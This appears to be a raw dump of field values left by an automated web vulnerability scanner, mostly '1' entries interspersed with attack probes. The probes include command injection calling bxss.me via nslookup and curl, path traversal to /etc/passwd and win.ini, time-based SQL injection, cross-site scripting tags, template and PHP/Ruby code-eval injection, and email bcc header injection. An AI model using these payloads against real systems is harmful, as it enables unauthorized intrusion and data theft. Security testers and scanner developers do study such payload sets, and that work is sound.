1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
No
1
1
1
1hFfLmn4O
1
1
response.write(9131627*9766427)
1
'+response.write(9131627*9766427)+'
1
"+response.write(9131627*9766427)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo rrvfuh$()\ elmjee\nz^xyu||a #' &echo rrvfuh$()\ elmjee\nz^xyu||a #|" &echo rrvfuh$()\ elmjee\nz^xyu||a #
&echo kliowk$()\ duxsyu\nz^xyu||a #' &echo kliowk$()\ duxsyu\nz^xyu||a #|" &echo kliowk$()\ duxsyu\nz^xyu||a #
1
|echo rltoxy$()\ atloqp\nz^xyu||a #' |echo rltoxy$()\ atloqp\nz^xyu||a #|" |echo rltoxy$()\ atloqp\nz^xyu||a #
1
1
(nslookup -q=cname hittcrrkziwyxd8663.bxss.me||curl hittcrrkziwyxd8663.bxss.me))
1
$(nslookup -q=cname hityytghwohul8d73a.bxss.me||curl hityytghwohul8d73a.bxss.me)
1
1
../../../../../../../../../../../../../../etc/passwd
1
&nslookup -q=cname hitxlnqjgvior4ad9d.bxss.me&'\"`0&nslookup -q=cname hitxlnqjgvior4ad9d.bxss.me&`'
../../../../../../../../../../../../../../windows/win.ini
1
&(nslookup -q=cname hitrvxrpbwhst44d7d.bxss.me||curl hitrvxrpbwhst44d7d.bxss.me)&'\"`0&(nslookup -q=cname hitrvxrpbwhst44d7d.bxss.me||curl hitrvxrpbwhst44d7d.bxss.me)&`'
1 bcc:009247.4312-441.4312.e84fa.19955.2@bxss.me
1
|(nslookup -q=cname hitmbcvsbxdqn1d9f2.bxss.me||curl hitmbcvsbxdqn1d9f2.bxss.me)
to@example.com> bcc:009247.4312-442.4312.e84fa.19955.2@bxss.me
1
`(nslookup -q=cname hitinntkodanr5a33d.bxss.me||curl hitinntkodanr5a33d.bxss.me)`
1
1
1
;(nslookup -q=cname hittxmuujcnup89d98.bxss.me||curl hittxmuujcnup89d98.bxss.me)|(nslookup -q=cname hittxmuujcnup89d98.bxss.me||curl hittxmuujcnup89d98.bxss.me)&(nslookup -q=cname hittxmuujcnup89d98.b
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000420+9999051}
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
)
1
1
!(()&&!|*|*|
Http://bxss.me/t/fit.txt
1
1
1
1
^(#$!@#$)(()))******
1
1
http://bxss.me/t/fit.txt?.jpg
1
Mf2GNHFS
1
/etc/shells
1
1
1
1
-1 OR 2+414-414-1=0+0+0+1 --
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
-1 OR 2+750-750-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+112-112-1=0+0+0+1 --
1
-1' OR 2+229-229-1=0+0+0+1 or 'xpW3iGa4'='
1
1
1
1
1
1
1
-1" OR 2+951-951-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
if(now()=sysdate(),sleep(15),0)
1'&&sleep(27*1000)*liidcm&&'
1
1
1
1
'.gethostbyname(lc('hitdv'.'njwkvefl8e3e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(78).chr(115).chr(66).'
1
1
1
1"&&sleep(27*1000)*upyuul&&"
1
1
1'||sleep(27*1000)*gmfmpk||'
".gethostbyname(lc("hitlf"."nldeayiq1c2ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(67).chr(110).chr(87)."
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1"||sleep(27*1000)*uinflm||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
HttP://bxss.me/t/xss.html?%00
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
';print(md5(31337));$a='
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
-1; waitfor delay '0:0:15' --
${@print(md5(31337))}
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(122).concat(87).concat(113).concat(72)+(require"socket" Socket.gethostbyname("hitjj"+"tzbyicmg7fb1c.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
'+'A'.concat(70-3).concat(22*4).concat(114).concat(82).concat(111).concat(76)+(require'socket' Socket.gethostbyname('hitnm'+'weeidclk225c3.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
mWFGKDTJ'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5 OR 540=(SELECT 540 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 91=(SELECT 91 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
-1)) OR 205=(SELECT 205 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
Y4nrKjRm' OR 225=(SELECT 225 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1xoFs14l') OR 901=(SELECT 901 FROM PG_SLEEP(15))--
1
1
1
create
1
1
1
create
1
HMLskf98')) OR 937=(SELECT 937 FROM PG_SLEEP(15))--
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1'"
1
1
1
1
1
1
1
@@mElp4
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >ZAe6(9791)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >ZAe6(9763)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
19625289
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfg10186＜s1﹥s2ʺs3ʹhjl10186
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx4494
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
response.write(9346251*9702425)
1
1
1
1
1
'+response.write(9346251*9702425)+'
1
1
1
1
"+response.write(9346251*9702425)+"
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
1
dfb__${98991*97996}__::.x
1
1
1
1
../1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
echo cmymqz$()\ usnnih\nz^xyu||a #' &echo cmymqz$()\ usnnih\nz^xyu||a #|" &echo cmymqz$()\ usnnih\nz^xyu||a #
1
1
1
19276"();}]9407
1
1
1
1
1
1
1
1
1
1
&echo vakbxv$()\ ccqubt\nz^xyu||a #' &echo vakbxv$()\ ccqubt\nz^xyu||a #|" &echo vakbxv$()\ ccqubt\nz^xyu||a #
1
1
%31%39%39%31%34%22%28%29%3B%7D%5D%39%33%38%39
1
1
|echo yfatsy$()\ dxrxxx\nz^xyu||a #' |echo yfatsy$()\ dxrxxx\nz^xyu||a #|" |echo yfatsy$()\ dxrxxx\nz^xyu||a #
1
1
1
1
1
1
1
1
1</script><script>ZAe6(9248)</script>
1
1
1
1
1
(nslookup -q=cname hitqnhluinobo413b2.bxss.me||curl hitqnhluinobo413b2.bxss.me))
$(nslookup -q=cname hiteyvvjoqyqu14f9a.bxss.me||curl hiteyvvjoqyqu14f9a.bxss.me)
1
1
1
1
1
1
1
1
&nslookup -q=cname hitmhvwemyrmsb8f08.bxss.me&'\"`0&nslookup -q=cname hitmhvwemyrmsb8f08.bxss.me&`'
1
1
&(nslookup -q=cname hitrxlquyuijpba1e1.bxss.me||curl hitrxlquyuijpba1e1.bxss.me)&'\"`0&(nslookup -q=cname hitrxlquyuijpba1e1.bxss.me||curl hitrxlquyuijpba1e1.bxss.me)&`'
1
1
|(nslookup -q=cname hitrycfjdzmzm01f9f.bxss.me||curl hitrycfjdzmzm01f9f.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitpthyejpkfzf5588.bxss.me||curl hitpthyejpkfzf5588.bxss.me)`
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 bcc:009247.4312-481.4312.e84fa.19955.2@bxss.me
1
1
to@example.com> bcc:009247.4312-482.4312.e84fa.19955.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
;(nslookup -q=cname hitzukmlukvye2290b.bxss.me||curl hitzukmlukvye2290b.bxss.me)|(nslookup -q=cname hitzukmlukvye2290b.bxss.me||curl hitzukmlukvye2290b.bxss.me)&(nslookup -q=cname hitzukmlukvye2290b.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
GMkHws2Q
1
-1 OR 2+920-920-1=0+0+0+1 --
1
1
1
1
1
1
1
1
-1 OR 2+446-446-1=0+0+0+1
1
1
1
1
-1' OR 2+495-495-1=0+0+0+1 --
1
1
1
1
1
1
1
-1' OR 2+330-330-1=0+0+0+1 or '6quS82H9'='
1
1
1
-1" OR 2+125-125-1=0+0+0+1 --
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
${10000042+9999801}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
yZvKd3gb'; waitfor delay '0:0:15' --
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
-5 OR 841=(SELECT 841 FROM PG_SLEEP(15))--
1
1
1
/etc/shells
c:/windows/win.ini
1
bxss.me
1
1
1
)
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
-5) OR 802=(SELECT 802 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
-1)) OR 863=(SELECT 863 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
ZqCKmd5f' OR 312=(SELECT 312 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
50OMiX2v') OR 505=(SELECT 505 FROM PG_SLEEP(15))--
1
1
1
1
1'&&sleep(27*1000)*miroxq&&'
1
1
1
1
1
1
1"&&sleep(27*1000)*qbknvy&&"
1
1
1
1
'.gethostbyname(lc('hitmo'.'qnweojrg6b952.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(65).chr(120).chr(79).'
1
1
".gethostbyname(lc("hitza"."ewlssdbee71b2.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(71).chr(99).chr(80)."
1
1
1
1
1
1'||sleep(27*1000)*tyblql||'
1
hwu0rafR')) OR 211=(SELECT 211 FROM PG_SLEEP(15))--
1
1
1
1
1"||sleep(27*1000)*srmdpy||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
@@h9ewe
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
HttP://bxss.me/t/xss.html?%00
1
1
';print(md5(31337));$a='
bxss.me/t/xss.html?%00
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(114).concat(86).concat(111).concat(88)+(require"socket" Socket.gethostbyname("hitqa"+"dlqrbcmt918d2.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(122).concat(66).concat(120).concat(71)+(require'socket' Socket.gethostbyname('hitjy'+'pbolhjxx7d460.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
xfs.bxss.me
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
<!--
1
1'"()&%<zzz><ScRiPt >N0iL(9595)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >N0iL(9842)</ScRiPt>
1
1
1
1
1
1
1
1
19977006
1
1
bfg4205＜s1﹥s2ʺs3ʹhjl4205
1
1
1
1
1
bfgx8046
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
19978"();}]9464
1
1
1
%31%39%33%38%39%22%28%29%3B%7D%5D%39%31%35%34
1
1
1
1</script><script>N0iL(9154)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9523086*9993083)
1
'+response.write(9523086*9993083)+'
1
1
1
1
"+response.write(9523086*9993083)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
1
1
1
1
1
../1
1
1
1
echo mxegkv$()\ jufdtr\nz^xyu||a #' &echo mxegkv$()\ jufdtr\nz^xyu||a #|" &echo mxegkv$()\ jufdtr\nz^xyu||a #
1
&echo asnqkj$()\ btbnxl\nz^xyu||a #' &echo asnqkj$()\ btbnxl\nz^xyu||a #|" &echo asnqkj$()\ btbnxl\nz^xyu||a #
1
|echo fsvhuc$()\ ienjuy\nz^xyu||a #' |echo fsvhuc$()\ ienjuy\nz^xyu||a #|" |echo fsvhuc$()\ ienjuy\nz^xyu||a #
1
1
(nslookup -q=cname hitwjcqtvzdgbb3d67.bxss.me||curl hitwjcqtvzdgbb3d67.bxss.me))
1
1
$(nslookup -q=cname hitxhvrmmqjui02b7d.bxss.me||curl hitxhvrmmqjui02b7d.bxss.me)
1
&nslookup -q=cname hitrnyrikctlh17d8e.bxss.me&'\"`0&nslookup -q=cname hitrnyrikctlh17d8e.bxss.me&`'
1
1
1
&(nslookup -q=cname hiteatouplemb018d2.bxss.me||curl hiteatouplemb018d2.bxss.me)&'\"`0&(nslookup -q=cname hiteatouplemb018d2.bxss.me||curl hiteatouplemb018d2.bxss.me)&`'
1
|(nslookup -q=cname hiteniufufqbf86103.bxss.me||curl hiteniufufqbf86103.bxss.me)
1
1
`(nslookup -q=cname hitbrohfilsidd3e37.bxss.me||curl hitbrohfilsidd3e37.bxss.me)`
1
;(nslookup -q=cname hitlrfibihhuwede2b.bxss.me||curl hitlrfibihhuwede2b.bxss.me)|(nslookup -q=cname hitlrfibihhuwede2b.bxss.me||curl hitlrfibihhuwede2b.bxss.me)&(nslookup -q=cname hitlrfibihhuwede2b.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 bcc:009247.4312-563.4312.e84fa.19955.2@bxss.me
1
1
1
1
to@example.com> bcc:009247.4312-564.4312.e84fa.19955.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
C2HXAZz8
1
1
-1 OR 2+980-980-1=0+0+0+1 --
1
-1 OR 2+448-448-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+511-511-1=0+0+0+1 --
1
1
1
1
-1' OR 2+190-190-1=0+0+0+1 or 'UAZWZZiy'='
1
1
1
1
1
1
1
1
1
-1" OR 2+247-247-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
aOrQSUo7'; waitfor delay '0:0:15' --
1
1
${9999732+9999082}
1
1
1
1
1
1
1
1
1
-5 OR 40=(SELECT 40 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 501=(SELECT 501 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1)) OR 37=(SELECT 37 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
jSk1gABp' OR 12=(SELECT 12 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
KrRDLkHK') OR 554=(SELECT 554 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
mWXLMkLh')) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
)
1
1
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt?.jpg
1'"
1
1
1
1
1
1
1
@@6jiqy
1
1
/etc/shells
1
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitgk'.'ffxcbwwwbcb28.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(72).chr(113).chr(74).'
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitpb"."hmrxkitcc5429.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(68).chr(99).chr(74)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'&&sleep(27*1000)*dcradl&&'
1
1
1
1
1
1"&&sleep(27*1000)*kwpfgc&&"
1
1
1
1'||sleep(27*1000)*jpwepb||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1"||sleep(27*1000)*fdiyhr||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(101).concat(74).concat(115).concat(86)+(require"socket" Socket.gethostbyname("hittq"+"kwdsskxyc82cc.bxss.me.")[3].to_s)+"
1
1
'+'A'.concat(70-3).concat(22*4).concat(111).concat(75).concat(100).concat(84)+(require'socket' Socket.gethostbyname('hitjt'+'pdmvwkzf2c1ed.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
create
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
